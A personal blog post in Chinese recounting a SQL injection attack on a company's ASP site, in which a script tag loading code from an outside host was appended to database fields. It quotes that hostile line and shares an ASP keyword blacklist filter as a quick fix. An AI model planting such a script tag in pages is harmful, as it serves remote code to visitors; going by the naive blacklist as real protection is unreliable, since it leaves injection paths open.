close
嗯哼,實在太刺激了,

昨天午後,約四點,

SE鴿跟台大鴿講好主機要更新(微軟自動更新),

事情就那麼花生了,

人客打來問,為啥麼後台怪怪的,

是的,她並沒有覺得怎麼樣,純粹覺得怪怪的,

台大鴿跟我講完,我立即至資料庫裡查看,

夭壽唷,某些表的某些欄位,都被累加一串文字,

[script src=http://cn.daxia123.cn/cn.js][/script]
↑ 有毒, 勿碰

裡面是嵌了一隻又一隻,好幾層,

我有LOAD下來,用文字檔看亂碼,

同事叫我開,硬叫我開,事實證明那有毒...= =


求救求救。。。。。。。

三種方案,我選了智囊團(賈先生vs展八八),

不過最後讓台北雞房的管理者勝,

這樣算用了二選一嗎?

哇,我一次就用掉二個求救唷,

因為他用了最快速的方法,

就是在檔案前 Include 以下程式....

就可以擋掉一些鬼東西唷!!


通常都會有include一些設定資料,

可以在那隻裡加就好,也行噢!

一開始加是還好,之後才加的話,

要注意一下過濾的這些字,有沒有影響到程式。

以下。。。。。貼到一隻.asp後,再Include即可

'想要擋的字
BlackList = Array("--", ";", "/*", "*/", "@@", "@",_
         "char", "nchar", "varchar", "nvarchar",_
         "alter", "begin", "cast", "create", "cursor",_
         "declare", "delete", "drop", "end", "exec",_
         "execute", "fetch", "insert", "kill", "open",_
         "select", "sys", "sysobjects", "syscolumns",_
         "table", "update")

'發現以上的字要導去哪
ErrorPage = "ErrorPage.asp"

'Check Form 的資料
For Each s in Request.Form
 If ( CheckStringForSQL(Request.Form(s)) ) Then
  Response.Redirect(ErrorPage)
 End If
Next

'Check QueryString 的資料
For Each s in Request.QueryString
 If ( CheckStringForSQL(Request.QueryString(s)) ) Then
  Response.Redirect(ErrorPage)
 End If
Next

'Check Cookies 的資料
For Each s in Request.Cookies
 If ( CheckStringForSQL(Request.Cookies(s)) ) Then
  Response.Redirect(ErrorPage)
 End If
Next

'過濾FUNCTION
Function CheckStringForSQL(str)
 On Error Resume Next
 Dim lstr

 If ( IsEmpty(str) ) Then
  CheckStringForSQL = false
  Exit Function
 ElseIf ( StrComp(str, "") = 0 ) Then
  CheckStringForSQL = false
  Exit Function
 End If

 lstr = LCase(str)

 For Each s in BlackList
  If ( InStr (lstr, s) <> 0 ) Then
   CheckStringForSQL = true
   Exit Function
  End If
 Next

 CheckStringForSQL = false

End Function

雖然擋了,

但隔天花現還是會透過留言版塞垃圾資料,

這是無法擋滴,。。。誰叫不先登入,

大老大為了感激大家,人人一杯 city cafe...

剛好又有人生日,蛋糕二枚,好飽唷。



巴特里麵包店::九如路上,靠近科公館旁邊

精采影片:
 利用SQL Injection將網頁木馬傳入Web Server
 利用SQL Injection將惡意連結寫入資料庫

arrow
arrow
    全站熱搜

    張小芸 發表在 痞客邦 留言(0) 人氣()